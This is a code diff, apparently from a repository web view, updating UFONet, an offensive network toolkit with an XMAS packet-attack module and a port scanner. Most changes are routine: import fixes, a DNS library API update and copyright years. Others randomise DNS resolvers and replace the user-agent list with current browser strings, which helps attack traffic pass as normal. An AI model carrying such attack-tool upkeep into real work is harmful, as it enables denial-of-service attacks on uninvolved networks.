+from urllib.parse import urlparse
 try:
-    from urlparse import urlparse
-except:
-    from urllib.parse import urlparse
-try:
-    from scapy import *
-except:
-    print("\nError importing: scapy lib.\n")
-    sys.exit(2)
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
 
 # UFONet TCP 'Christmas Tree' packet attack (XMAS)
 def randIP():
@@ -74,9 +74,9 @@ class XMAS(object):
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                 url = urlparse(target)
-                a = r.query(url.netloc, "A") # A record
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     ip = str(rd)
             except:

Різницю між файлами не показано, бо вона завелика
+ 152 - 119
core/options.py


+ 1 - 1
core/randomip.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51

+ 1 - 1
core/tools/__init__.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51

+ 3 - 3
core/tools/abductor.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -183,9 +183,9 @@ class Abductor(object):
                 try: # extra resolver plan extracted from Orb (https://orb.03c8.net/) [24/12/2018 -> OK!]
                     import dns.resolver
                     r = dns.resolver.Resolver()
-                    r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                    from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                     url = urlparse(domain)
-                    a = r.query(url.netloc, "A") # A record
+                    a = r.resolve(url.netloc, "A") # A record
                     for rd in a:
                         ipv4 = str(rd)
                 except:

+ 1 - 1
core/tools/blackhole.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51

+ 1 - 1
core/tools/crypter.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51

+ 1 - 1
core/tools/grider.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51

+ 1 - 1
core/tools/inspector.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51

+ 10 - 7
core/tools/ufoscan.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -12,10 +12,13 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 import sys, time, random
 from urllib.parse import urlparse as urlparse
 try:
-    from scapy import *
-except:
-    print("\nError importing: scapy lib.\n")
-    sys.exit(2)
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
 
 # UFONet port scanner (UFOSCAN) class
 def randInt():
@@ -66,9 +69,9 @@ class UFOSCAN(object):
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                 url = urlparse(target)
-                a = r.query(url.netloc, "A") # A record
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     ip = str(rd)
             except:

+ 1 - 1
core/txt/model.txt

@@ -1 +1 @@
-ViPR404+/(model:I^4*2)
+ViPR404+/(model:I^4*18)

+ 107 - 367
core/txt/user-agents.txt

@@ -1,368 +1,108 @@
-Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
-Mozilla/5.0 (X11; CrOS i686 12.433.109) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.93 Safari/534.30
-Mozilla/5.0 (Macintosh; U; Mac OS X 10_6_1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5
-Mozilla/5.0 (Linux; U; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13
-Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9
-Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.6) Gecko/20050226 Firefox/1.0.1
-Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.6) Gecko/20040207 Firefox/0.8
-Mozilla/5.0 (X11) KHTML/4.9.1 (like Gecko) Konqueror/4.9
-Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)
-Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko)
-Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)
-Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)
-Mozilla/5.0 (X11; Ubuntu; Linux armv7l; rv:17.0) Gecko/20100101 Firefox/17.0
-Mozilla/2.02E (Win95; U)
-Mozilla/5.0 (iPhone; U; CPU iOS 2_0 like Mac OS X; en-us)
-Mozilla/5.0 (Linux; U; Android 0.5; en-us)
-Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
-Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)
-Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Oupeng/10.2.1.86910 Safari/534.30
-Mozilla/5.0 (SMART-TV; Linux; Tizen 2.3) AppleWebkit/538.1 (KHTML, like Gecko) SamsungBrowser/1.0 Safari/538.1
-Privoxy/1.0
-CERN-LineMode/2.15
-cg-eye interactive
-China Local Browser 2.6
-ClariaBot/1.0
-Comos/0.9_(robot@xyleme.com)
-Crawler@alexa.com
-DonutP; Windows98SE
-Dr.Web (R) online scanner: http://online.drweb.com/
-Dragonfly File Reader
-Eurobot/1.0 (http://www.ayell.eu)
-FARK.com link verifier
-FavIconizer
-Feliz - Mixcat Crawler (+http://mixcat.com)
-TwitterBot (http://www.twitter.com)
-DataCha0s/2.0
-EvaalSE - bot@evaal.com
-Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)
-archive.org_bot
-Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 15_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 15_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 15_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 14.6; rv:135.0) Gecko/20100101 Firefox/135.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 14.6; rv:134.0) Gecko/20100101 Firefox/134.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 15.0; rv:133.0) Gecko/20100101 Firefox/133.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 15.1; rv:132.0) Gecko/20100101 Firefox/132.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
+Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0
+Mozilla/5.0 (X11; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
+Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
+Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0
+Mozilla/5.0 (X11; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0
+Mozilla/5.0 (X11; Linux x86_64; rv:130.0) Gecko/20100101 Firefox/130.0
+Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
+Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0
+Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
+Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0
+Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 15_2_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 15_1_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 15_0_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 15_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 OPR/119.0.0.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 15_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 YaBrowser/24.12.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Brave/1.74.0 Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 15_2_0) AppleWebKit/537.36 (KHTML, like Gecko) Brave/1.74.0 Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Brave/1.74.0 Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Vivaldi/7.0.3495.18 Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (iPhone; CPU iPhone OS 18_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Mobile/15E148 Safari/604.1
+Mozilla/5.0 (iPhone; CPU iPhone OS 18_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Mobile/15E148 Safari/604.1
+Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Mobile/15E148 Safari/604.1
+Mozilla/5.0 (iPhone; CPU iPhone OS 17_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Mobile/15E148 Safari/604.1
+Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1
+Mozilla/5.0 (iPhone; CPU iPhone OS 17_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Mobile/15E148 Safari/604.1
+Mozilla/5.0 (iPad; CPU OS 18_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Mobile/15E148 Safari/604.1
+Mozilla/5.0 (iPad; CPU OS 18_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Mobile/15E148 Safari/604.1
+Mozilla/5.0 (iPad; CPU OS 17_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Mobile/15E148 Safari/604.1
+Mozilla/5.0 (iPhone; CPU iPhone OS 18_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/135.0.0.0 Mobile/15E148 Safari/604.1
+Mozilla/5.0 (iPhone; CPU iPhone OS 18_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/135.0 Mobile/15E148 Safari/604.1
+Mozilla/5.0 (Linux; Android 15; Pixel 9 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 15; Pixel 9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 14; Pixel 8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 14; SM-S928B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 14; SM-S921B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 14; SM-A546B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 13; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 14; Xiaomi 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 14; CPH2575) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 14; LE2120) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Mobile Safari/537.36
+Mozilla/5.0 (Android 14; Mobile; rv:135.0) Gecko/135.0 Firefox/135.0
+Mozilla/5.0 (Android 14; Mobile; rv:134.0) Gecko/134.0 Firefox/134.0
+Mozilla/5.0 (Android 14; Tablet; rv:135.0) Gecko/135.0 Firefox/135.0
+Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/26.0 Chrome/132.0.0.0 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/25.0 Chrome/130.0.0.0 Mobile Safari/537.36
+Mozilla/5.0 (Linux; U; Android 14; en-US; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/134.0.0.0 Mobile Safari/537.36
 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
-Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
-Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
-Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36
-Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50
-Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
-Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
-Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36
-Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36
-Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14
-Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50
-Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
-Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0
-Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36
-Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36
-Mozilla/5.0 (Linux; Android 7.0; SM-G930VC Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/58.0.3029.83 Mobile Safari/537.36
-Mozilla/5.0 (Linux; Android 6.0.1; SM-G935S Build/MMB29K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/55.0.2883.91 Mobile Safari/537.36
-Mozilla/5.0 (Linux; Android 6.0.1; SM-G920V Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36
-Mozilla/5.0 (Linux; Android 5.1.1; SM-G928X Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.83 Mobile Safari/537.36
-Mozilla/5.0 (Linux; Android 6.0.1; Nexus 6P Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.83 Mobile Safari/537.36
-Mozilla/5.0 (Linux; Android 7.1.1; G8231 Build/41.2.A.0.219; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/59.0.3071.125 Mobile Safari/537.36
-Mozilla/5.0 (Linux; Android 6.0.1; E6653 Build/32.2.A.0.253) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36
-Mozilla/5.0 (Linux; Android 6.0; HTC One X10 Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.98 Mobile Safari/537.36
-Mozilla/5.0 (Linux; Android 6.0; HTC One M9 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.3
-Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1
-Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/69.0.3497.105 Mobile/15E148 Safari/605.1
-Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/13.2b11866 Mobile/16A366 Safari/605.1.15
-Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1
-Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1
-Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5370a Safari/604.1
-Mozilla/5.0 (iPhone9,3; U; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A403 Safari/602.1
-Mozilla/5.0 (iPhone9,4; U; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A403 Safari/602.1
-Mozilla/5.0 (Apple-iPhone7C2/1202.466; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543 Safari/419.3
-Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; RM-1152) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.15254
-Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Microsoft; RM-1127_16056) AppleWebKit/537.36(KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.10536
-Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Mobile Safari/537.36 Edge/13.1058
-Mozilla/5.0 (Linux; Android 7.0; Pixel C Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.98 Safari/537.36
-Mozilla/5.0 (Linux; Android 6.0.1; SGP771 Build/32.2.A.0.253; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.98 Safari/537.36
-Mozilla/5.0 (Linux; Android 6.0.1; SHIELD Tablet K1 Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/55.0.2883.91 Safari/537.36
-Mozilla/5.0 (Linux; Android 7.0; SM-T827R4 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.116 Safari/537.36
-Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG SM-T550 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.3 Chrome/38.0.2125.102 Safari/537.36
